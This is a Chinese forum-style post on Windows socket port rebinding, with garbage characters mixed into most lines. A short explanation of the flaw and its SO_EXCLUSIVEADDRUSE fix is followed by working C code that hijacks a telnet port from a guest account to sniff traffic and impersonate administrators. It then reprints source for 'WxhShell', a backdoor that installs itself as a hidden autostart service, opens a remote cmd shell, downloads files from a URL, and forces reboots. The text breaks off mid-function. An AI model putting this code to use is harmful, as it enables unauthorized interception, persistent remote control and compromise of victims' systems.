在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
^t}1$H s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
:_8Nf1B+T ~`97?6*Ra saddr.sin_family = AF_INET;
-kk0zg
&|i {k}$L|w saddr.sin_addr.s_addr = htonl(INADDR_ANY);
*3iEO> O\J{4EB@. bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
mV'-1 Y6 <.]H 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
j
D kBe-` 6%^A6U 这意味着什么?意味着可以进行如下的攻击:
P(%^J6[> *$]50 \W 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
2WK c;? p!o-+@ava 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
{nPiIPH v\lKY*@f 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
I:6H65(& 70<{tjyc 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
,Dab( ??#SQSU 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
"T@9#7Obu 'pnOHT 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
!tzk7D dL]wu!wE 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
CzDV^Iv;Q{ 'iWDYZ? #include
b+`qGJrej #include
QXu[<V #include
!$NQF/Ol #include
WJJmM*>JW DWORD WINAPI ClientThread(LPVOID lpParam);
Z'UhJu D5 int main()
}Uu#N H {
}
fa WORD wVersionRequested;
p%R+ c DWORD ret;
+'/C(5y)0X WSADATA wsaData;
o<gK"P BOOL val;
Ot+Z}Z- SOCKADDR_IN saddr;
)DGJr/) SOCKADDR_IN scaddr;
"+M0lGTB int err;
|LRAb#F\ SOCKET s;
GdYQq. SOCKET sc;
d@%PTSX int caddsize;
%Yt;)q3U HANDLE mt;
3#?53s DWORD tid;
<0!<T+JQ wVersionRequested = MAKEWORD( 2, 2 );
@_$Un&eo err = WSAStartup( wVersionRequested, &wsaData );
IISdC(5 if ( err != 0 ) {
GG`j9"t4 printf("error!WSAStartup failed!\n");
_+j#.o> return -1;
iA<'i8$P }
R=<%! saddr.sin_family = AF_INET;
4,08`5{ @'A0Lq+# //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
F/PH=Dk T/FZn{I saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
u9m ~1\R* saddr.sin_port = htons(23);
iR"6VO if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
|xF!3GGms {
Gs\D`|3= printf("error!socket failed!\n");
Jj/}GVNc7 return -1;
y=0)vi{] }
GExr] 2r val = TRUE;
kl1/( //SO_REUSEADDR选项就是可以实现端口重绑定的
34QW^{dgE if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
I7W`\d) {
^T#jBqe printf("error!setsockopt failed!\n");
W&k@p9 return -1;
Qz89=#W }
S,EL=3},= //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
~{GTL_w //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
:p%#U$S4 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
vjzG
H* D |=L)\ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
$<9u:.9xf {
AhkDLm+ ret=GetLastError();
9 p,O>I printf("error!bind failed!\n");
T^F83Py< return -1;
S['cX ~ }
(*b<IGi; listen(s,2);
I$ R1#s while(1)
:dQRrmM {
P4zwTEk` caddsize = sizeof(scaddr);
(xE |T f //接受连接请求
/M JI^\CA sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
qyAnq%B} if(sc!=INVALID_SOCKET)
l-P6B9e|\ {
cF_`QRtO mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
Dlpmm2 if(mt==NULL)
dz^b(q {
P,xIDj4d printf("Thread Creat Failed!\n");
p6aR/gFkqv break;
sH>`eqY }
Z- t&AH }
t3!OqM CloseHandle(mt);
{\vVzy,t7 }
:T|9;2 closesocket(s);
V;W{pd-I WSACleanup();
%NfXe[T return 0;
3 yw$<lm }
+hKs DWORD WINAPI ClientThread(LPVOID lpParam)
`!spi=f {
'oK oF SOCKET ss = (SOCKET)lpParam;
p/88mMr SOCKET sc;
Dw.I<fns^B unsigned char buf[4096];
5F!Qn\{u{ SOCKADDR_IN saddr;
hs5>Gx long num;
j0j!oj)7I DWORD val;
%%/8B DWORD ret;
1Q!kk5jE //如果是隐藏端口应用的话,可以在此处加一些判断
BY&{fWUo //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
cly} [<w! saddr.sin_family = AF_INET;
icX4n saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
MV??S{^4 saddr.sin_port = htons(23);
~o/k?l if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
jO/cdLKX( {
Faa>bc~E printf("error!socket failed!\n");
b;{"@b,Y return -1;
Zk/ejhy0 }
`N&*+!O% val = 100;
e&2,cQRFV if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Te[v+jgLY, {
E
.28G2& ret = GetLastError();
1C<d^D_!p return -1;
V0rQtxE{F }
@?3^Ks_ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
k s\q^ten {
-`DYDIr ret = GetLastError();
W~2,J4= return -1;
[u$|/ }
i39ZBs@ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
<i4]qO(0u {
/t<
& printf("error!socket connect failed!\n");
o[}Dj6e\t closesocket(sc);
\|9B:y'y closesocket(ss);
G0|}s&$yL return -1;
$,J0) ~ }
NuSdN>8ll while(1)
Y<u%J#'[ {
/Jc{aw //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
8nu!5 3 //如果是嗅探内容的话,可以再此处进行内容分析和记录
qHp2; //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
0O,;[l num = recv(ss,buf,4096,0);
6dmb
bgO) if(num>0)
bhGRD{= send(sc,buf,num,0);
_/z_
X else if(num==0)
:IBP " break;
jL8A_'3B num = recv(sc,buf,4096,0);
Z5n-3h!+ED if(num>0)
z@,(^~C_ send(ss,buf,num,0);
Z$g'h1,zW else if(num==0)
X'<RqvDc5 break;
VBQAkl?(}4 }
l"(PP3 closesocket(ss);
;y. ;U#O closesocket(sc);
\Cu=Le^ return 0 ;
Q,JH/X
}
U3z23LgA ;4ybkOD bL`\l!qQx; ==========================================================
}nX0h6+1 dQ7iieT 下边附上一个代码,,WXhSHELL
]Q ]y* Tx~w(A4: ==========================================================
|'1.ajxw Jz>P[LcB #include "stdafx.h"
7Y[ q)lv C4$P#DZT^ #include <stdio.h>
D4@?>ek6U #include <string.h>
D ka8[z7 #include <windows.h>
N2U&TCc #include <winsock2.h>
0?8>{!I #include <winsvc.h>
_hyqHvP #include <urlmon.h>
9#9bm v0dzM/?* #pragma comment (lib, "Ws2_32.lib")
)I3E #pragma comment (lib, "urlmon.lib")
>;1w-n g*My1+J! #define MAX_USER 100 // 最大客户端连接数
o-Dfud@ #define BUF_SOCK 200 // sock buffer
n}F$kyI #define KEY_BUFF 255 // 输入 buffer
fo+s+Q|Y i a!!jK} #define REBOOT 0 // 重启
vT0Op e6m #define SHUTDOWN 1 // 关机
} =)u_q TK18U*z7J #define DEF_PORT 5000 // 监听端口
'g,_ lF x%r$/= #define REG_LEN 16 // 注册表键长度
(kB #define SVC_LEN 80 // NT服务名长度
-k7b#
+T i_Q1\_m ! // 从dll定义API
Ycm .qud
? typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
zHz>Gc typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
"hI"4xSg typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
&WBpd}|+Y typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
2<5LQr )L6
it // wxhshell配置信息
..E_M$} struct WSCFG {
M&V4|D int ws_port; // 监听端口
M j[+h|e char ws_passstr[REG_LEN]; // 口令
y>0 @. int ws_autoins; // 安装标记, 1=yes 0=no
"lu^ char ws_regname[REG_LEN]; // 注册表键名
Yg '( char ws_svcname[REG_LEN]; // 服务名
L`K)mCr char ws_svcdisp[SVC_LEN]; // 服务显示名
0.wF2!V. char ws_svcdesc[SVC_LEN]; // 服务描述信息
#*qV kPX char ws_passmsg[SVC_LEN]; // 密码输入提示信息
_g/d/{-{Q int ws_downexe; // 下载执行标记, 1=yes 0=no
>*gf1" char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
SF*mY=1 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
}v2p]D5n. 0@b<?Ms9 };
$peL1'Evo XrTc5V // default Wxhshell configuration
^_Lnqk6 struct WSCFG wscfg={DEF_PORT,
9C,gJp}P "xuhuanlingzhe",
NpZ'pBl 1,
r9u'+$vmF "Wxhshell",
q`{@@[/(y "Wxhshell",
w9GY/] "WxhShell Service",
(*\&xRY|C "Wrsky Windows CmdShell Service",
@H$am "Please Input Your Password: ",
GY-4w@Wl 1,
r+[g.` "
http://www.wrsky.com/wxhshell.exe",
K/C} "Wxhshell.exe"
okRt^qe };
&$CyT6mb^ ~s4JGV~R // 消息定义模块
6x(b/`VW char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
ufR>*)_+ char *msg_ws_prompt="\n\r? for help\n\r#>";
Q+K]:c char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
n8!|}J char *msg_ws_ext="\n\rExit.";
cwaR#-# char *msg_ws_end="\n\rQuit.";
2i!R>` char *msg_ws_boot="\n\rReboot...";
{@7UfJh> char *msg_ws_poff="\n\rShutdown...";
^Ff fc@= char *msg_ws_down="\n\rSave to ";
|>U<EtA" 7mi*#X} char *msg_ws_err="\n\rErr!";
?^!J:D? char *msg_ws_ok="\n\rOK!";
U= n bt=D<YZk char ExeFile[MAX_PATH];
8M!9gvcaO int nUser = 0;
_?{KTgJ G HANDLE handles[MAX_USER];
/rD9) int OsIsNt;
e[T3,2C teDRX13=; SERVICE_STATUS serviceStatus;
\)\n5F:Zu SERVICE_STATUS_HANDLE hServiceStatusHandle;
E5P.x^ bupW*fD: // 函数声明
sOWP0xY int Install(void);
8cY5:plK
int Uninstall(void);
K[noW int DownloadFile(char *sURL, SOCKET wsh);
K6B6@ int Boot(int flag);
Lp$&eROFVs void HideProc(void);
v8E:64 int GetOsVer(void);
<LBCu; int Wxhshell(SOCKET wsl);
5ip ZdQ^ void TalkWithClient(void *cs);
Bt:M^b^ int CmdShell(SOCKET sock);
7]L}~ int StartFromService(void);
NPBOG1q% int StartWxhshell(LPSTR lpCmdLine);
',FVT4OMw SP2";,%/9 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
;+f(1=x VOID WINAPI NTServiceHandler( DWORD fdwControl );
6tVp%@ e
jk?If 07 // 数据结构和表定义
olo9YrHn SERVICE_TABLE_ENTRY DispatchTable[] =
/8_x]Es/ {
p|;#frj {wscfg.ws_svcname, NTServiceMain},
O[1Q# {NULL, NULL}
,82?kky };
^|rzqXW 9Y# vKb{> // 自我安装
x51p'bNy int Install(void)
!_o1;GzK {
yP@#1KLa+ char svExeFile[MAX_PATH];
YL;*%XmAG HKEY key;
=}0>S3a.7 strcpy(svExeFile,ExeFile);
= "Lb5! Jn?ZJZ // 如果是win9x系统,修改注册表设为自启动
:]\-GJV5 if(!OsIsNt) {
ezJ^
r,D| if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
M#],#o*G RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
9J49s1 RegCloseKey(key);
6 ;\>, if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
y>UQm|o<W RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
/WAOpf5 RegCloseKey(key);
W-RshZ\ return 0;
%I)*5 M6 }
+Sv2'& B }
Sf`?j }
]Ah<kq2sk else {
&s.-p_4w^D 0[Zs8oRiI // 如果是NT以上系统,安装为系统服务
"\afIYS I SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
,`ehR6b if (schSCManager!=0)
QA!'p1{# {
{
zalB" i SC_HANDLE schService = CreateService
bq5?fPBrq (
J0@#xw=+ schSCManager,
,tFLx#e# wscfg.ws_svcname,
ir)~T0 wscfg.ws_svcdisp,
|oOA;JC)( SERVICE_ALL_ACCESS,
pi*?fUg!W SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
[DSzhi] SERVICE_AUTO_START,
J72kjj&C SERVICE_ERROR_NORMAL,
]CnT4[f! svExeFile,
_B==S4^/yU NULL,
.YS48 c NULL,
Bb5RZ#oa NULL,
_ =O;Lz$x NULL,
JHVesX NULL
#)%dG3)e );
+N:M;uTS if (schService!=0)
Qo["K}Ty {
)!`>Q|]}Zd CloseServiceHandle(schService);
/EM=!@ka CloseServiceHandle(schSCManager);
eNt1P`2[ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
LCpS}L; strcat(svExeFile,wscfg.ws_svcname);
~ln96*)M; if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
j =b-Y RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
YQfQ[{kp RegCloseKey(key);
,n{|d33 return 0;
_3Q8R} }
A}03s6^i; }
`~W ?a CloseServiceHandle(schSCManager);
2I~a{:O }
u@[JX1&3"n }
qZ+^ND(I W(*?rA- PP return 1;
/u'M7R }
dy0xz5N- y"0!7^ // 自我卸载
uchz<z1 int Uninstall(void)
.sPa${ {
:+S~N)0j^ HKEY key;
(>x_fDv 0',-V2 if(!OsIsNt) {
h IUO=f if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
[E%Ov0OC RegDeleteValue(key,wscfg.ws_regname);
K06&.>v_ RegCloseKey(key);
Q|HOy8O}Z if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
o{
\r1<D RegDeleteValue(key,wscfg.ws_regname);
KA0_uty/T RegCloseKey(key);
XbAoW\D( return 0;
_"";SqVB }
M$GZK'% }
Jp`qE }
<Okl.Iz> else {
ji|tc9#6 -u'BK@; SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
V IU4QEW`x if (schSCManager!=0)
)eSD5hOI) {
.3T#:Hl SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
1:iT#~n if (schService!=0)
?`D/#P {
XF N4m # if(DeleteService(schService)!=0) {
V\o&{7! CloseServiceHandle(schService);
ob.=QQQs
CloseServiceHandle(schSCManager);
w!^{Q'/,Q return 0;
-r"h[UV) }
iYxpIqWw CloseServiceHandle(schService);
8(A+"H( }
gkDlh{ CloseServiceHandle(schSCManager);
tqe8:\1yK }
a)Ca:p }
V2|XcR $T80vEi+u return 1;
u~^d5["T }
9"~,ha7S$ 6>B_ojj: // 从指定url下载文件
|;_uN q9 int DownloadFile(char *sURL, SOCKET wsh)
okZDxg`6 {
6o/!H HRESULT hr;
U*6)/.J char seps[]= "/";
-gKo@I char *token;
PG/xX
H char *file;
S+(-k0 char myURL[MAX_PATH];
Od:,r char myFILE[MAX_PATH];
#\fxU:z~r VZArdXTP strcpy(myURL,sURL);
f'<MDLl token=strtok(myURL,seps);
VBK9te,A while(token!=NULL)
nZ2mY!* {
^.@BD4/RPt file=token;
hzjEO2 token=strtok(NULL,seps);
2aUy1*aM }
YAf`Fnmw x7]Yn'^' GetCurrentDirectory(MAX_PATH,myFILE);
&*#- %<=1 strcat(myFILE, "\\");
]2P*Z6Az strcat(myFILE, file);
,s,VOyr @F send(wsh,myFILE,strlen(myFILE),0);
KDX34Fr1 send(wsh,"...",3,0);
)tyhf(p6 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
@ukIt if(hr==S_OK)
!h0#es\ return 0;
tb-:9*2j- else
AG$S;)Yl9c return 1;
]dKLzW:l '4nR ^, }
eD4o8[s *h>KeIB; // 系统电源模块
]D;X"2I2'b int Boot(int flag)
ED={OZD8 {
C&vUZa[p HANDLE hToken;
Q,mmHw.`J TOKEN_PRIVILEGES tkp;
q^_PR| v}$KlT if(OsIsNt) {
m*MfGj( OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
/ b_C9'S LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
?p8(Uc#73 tkp.PrivilegeCount = 1;
67/&.d! tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
OA_Bz" AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
5 :ZM-kZT if(flag==REBOOT) {
']hB_4v if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
Wb/q&o return 0;
Ty21-0F }
H7KcPN(0 else {
BQcrF{q if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
yqm^4)Dp return 0;
<I{)p;u1 }
aD1G\*AFJ }
M@V.?;F}, else {
x05yU if(flag==REBOOT) {
f"j"ZM{~U if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
:i&ZMH,O return 0;
jcWv&u| }
w{t2Oo6Q0+ else {
Ls#=R if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
]iyJ>fC return 0;
ESl-k2 }
u2SnL$A7 }
#l6L7u0~wC s^]F4' return 1;
WvN!8*XFM }
y^#jM 8#9di // win9x进程隐藏模块
L)5YX-? void HideProc(void)
Jbud_.h9 {
J3oj}M* DL5`A?/ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
<wt#m`Za if ( hKernel != NULL )
<(YmkOS+ {
xbFoXYqgP pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
ZLBv\VQ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
)2|'` FreeLibrary(hKernel);
=#AeOqs( q }
cvR|qHNX P| o_/BS return;
Lzzf`jN] }
;hz"`{(JY <|_/i/H // 获取操作系统版本
dsKEWZ
= int GetOsVer(void)
3McBTa! {
\>8"r,hG| OSVERSIONINFO winfo;
+1Ha,Ok winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
li4rK<O GetVersionEx(&winfo);
Ng?n}$g* if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
EROf%oaz= return 1;
T [
`t?, else
Q7X6OFl? return 0;
?8g[0/ }
T#.5F7$u l I&%^> // 客户端句柄模块
;F@N2j#
int Wxhshell(SOCKET wsl)
Ixhe86-:T {
NrE&w H: SOCKET wsh;
t>J 43 struct sockaddr_in client;
ANNfL9:Jy DWORD myID;
bJJB*$jW= }LDH/#
u while(nUser<MAX_USER)
[-X=lJ:+h {
}JXAG/<
int nSize=sizeof(client);
N5$L),?\y wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
?u/Uov@rD if(wsh==INVALID_SOCKET) return 1;
fKzOt<wm G 2]/g handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
_ECWS fZ if(handles[nUser]==0)
.]+oE$,! closesocket(wsh);
Y%v?ROql else
z116i?7EnV nUser++;
zkXG%I4h }
opQ%!["N WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
=,q,W$- :yN;_bC!b% return 0;
qEC-'sl< }
U^trZ]) cD&53FPXC // 关闭 socket
B w1ir void CloseIt(SOCKET wsh)
Om%{fq& {
Y/1KvF4)k closesocket(wsh);
sW[8f
Z71 nUser--;
\IL/?J
5d ExitThread(0);
a"^0;a }
*/iD68r|- 1$Rua // 客户端请求句柄
@!0@f'}e void TalkWithClient(void *cs)
fcd\{1#u {
A)/
8FYc Az29?|e SOCKET wsh=(SOCKET)cs;
5?+ECxPt char pwd[SVC_LEN];
/; ;_l2 t char cmd[KEY_BUFF];
h:iK; char chr[1];
=B9Ama int i,j;
`+_UG^aeW -lr)z=}) while (nUser < MAX_USER) {
eMk?#&a) D9
~jMcX if(wscfg.ws_passstr) {
rPVz!(;k if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
p\]Mf#B //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
*NdSL //ZeroMemory(pwd,KEY_BUFF);
`y5?lS* i=0;
9ALE6 while(i<SVC_LEN) {
$2Y'[Dto\ ^z#'o // 设置超时
p._BG80 fd_set FdRead;
"'us.t. struct timeval TimeOut;
CV% AqJN FD_ZERO(&FdRead);
|~b.rKQt[ FD_SET(wsh,&FdRead);
1Wd?AyTY, TimeOut.tv_sec=8;
USLG G}R TimeOut.tv_usec=0;
okfGd=
& int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
}J27Y;Zp9 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
{-*+G] (Zi(6 T\z if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
SoZ$1$o2 pwd
=chr[0]; Mg?^ 5`*
if(chr[0]==0xd || chr[0]==0xa) { S(kj"t*3
pwd=0; \.+.VK
break; N|[P%WM3
} Kh<xQ:eMy
i++; 4G`7]<
} Ws"eF0,'Z
gBQK
// 如果是非法用户,关闭 socket =e'b*KTL,
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); GxWA=Xp^~G
} W]kh?+SZ
FB{4& ;
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); KI~BjP\e
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); QAYhAOS|e
pI2g\cH>
while(1) { LaL.C^K
o7"2"(
=>
ZeroMemory(cmd,KEY_BUFF); &z[39Q{~
NF`WA-W8@
// 自动支持客户端 telnet标准 ?I{pv4G:
j=0; ]O'dwC
while(j<KEY_BUFF) { H^cB?i
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <rd7<@>5D
cmd[j]=chr[0]; i$HA@S
if(chr[0]==0xa || chr[0]==0xd) { P6,~0v(S
cmd[j]=0; ~|+!xh
break; } LLnJl~Z
} b0
))->&2
j++; e;KZTH;
} Mf)0Y~_:R#
5MsE oLg
// 下载文件 K7 >Z)21
if(strstr(cmd,"http://")) { E6(OEC%,
send(wsh,msg_ws_down,strlen(msg_ws_down),0); }t!,{ZryE1
if(DownloadFile(cmd,wsh)) a nK7j2
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 44T>Yp09
else 2_@vSwC
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !e?;f=1+E
} EsR_J/:Qe
else { U 2k^X=yl
~A<1xszC
switch(cmd[0]) { b|F_]i T
\DsP'-t
// 帮助 .]+Z<5Fo
case '?': { !yAg!V
KY
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 5 _X|U*+5
break; {=Y%=^! s
} d<mj=V@bd
// 安装 Bbuy
y
case 'i': { ^c?2n
if(Install()) w'[lIEP 2$
send(wsh,msg_ws_err,strlen(msg_ws_err),0); =C{)i@ +
else _^cDB1I?
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 49b#$Xq
break; &|( 'z\k
} n(^{s5 Rr
// 卸载 :G$f)NMK
case 'r': { =!{7ZSu\
if(Uninstall()) FG.MV-G
send(wsh,msg_ws_err,strlen(msg_ws_err),0); jt|e?1:vF
else $_s"16s
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gf/$M[H!
break; @QiuCB
} uJ jm50R<
// 显示 wxhshell 所在路径 h=6Zvf<x
case 'p': { [<m1xr4"k
char svExeFile[MAX_PATH]; 7{HJjH!zx
strcpy(svExeFile,"\n\r"); y.6D Z
strcat(svExeFile,ExeFile); vto^[a6?
send(wsh,svExeFile,strlen(svExeFile),0); >?iL_YTX
break; "N'tmzifh
} f\CJ |tKX
// 重启 L\d"|87lX
case 'b': { S]3K5Z|
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); R2kR
if(Boot(REBOOT)) #({0HFSC:j
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZuIr=`"j
else { Vae}:8'}
closesocket(wsh); Pg[XIfBva
ExitThread(0); ZdbZ^DUR<(
} 4%L`~J4 wr
break; *^R?*vNs
} -r%4,4
// 关机 c@d[HstBJ
case 'd': { 1fBj21zG
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0);
pv<$
o
if(Boot(SHUTDOWN)) 2QwdDKMS_
send(wsh,msg_ws_err,strlen(msg_ws_err),0); O>]I!n`!!A
else { u0M[B7Q
closesocket(wsh); ~#/NpKHT@A
ExitThread(0); J})G l
} f7B)iI!
break; ]A oRK=aH
} 3!_X FV
// 获取shell aewVq@ngq!
case 's': { 0k"n;:KM8
CmdShell(wsh); ?@"F\Bv<h
closesocket(wsh); yPG,+uQ$.
ExitThread(0); wZ7Opm<nt
break; _U}pdzX?
} A$gP: 1&m
// 退出 Rlc$2y@pU
case 'x': { ^NZq1c
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); K|Sh
CloseIt(wsh); ,l-tLc
break; kSJWXNC
} &%M!!28X:
// 离开 ];& @T\Rj
case 'q': { yhzC 9nTH
send(wsh,msg_ws_end,strlen(msg_ws_end),0); .U.Knn
closesocket(wsh); &''lOS|
WSACleanup(); (tQ#('(w
exit(1); "G. L)oD
break; 9[yW&t;#
} )C^ZzmB
} ) #G5XS+)
} ' S%?&4
%M"rc4Xd
// 提示信息 V$U#'G>m
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); om6'%nXhn
} A")F7F31c
} t[HfaW1W
fBtTJ+51}
return; !S6zC >
} G 3))3]
)l 0\TF
// shell模块句柄 N l~'W
int CmdShell(SOCKET sock) $07;gpZt
{ HRX}r$
STARTUPINFO si; X>}-UHKV+
ZeroMemory(&si,sizeof(si)); 9FB k|g"U)
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +OSF0#bj
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #.1+-^TQk
PROCESS_INFORMATION ProcessInfo; {8b6M
char cmdline[]="cmd"; V~nqPh!Jc
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ^{f^%)X
return 0; 3d<Z##`{4
} *F:f\9
SUv(MA&
// 自身启动模式 XcN"orAo
int StartFromService(void) tzH~[n,
{ pC=kv ve
typedef struct WC2sRv4]3
{ D^]g`V*N
DWORD ExitStatus; f]c{,LFvZ
DWORD PebBaseAddress; TsiI5'tx
DWORD AffinityMask; BO5\rRa0
DWORD BasePriority; +5AWX,9,-
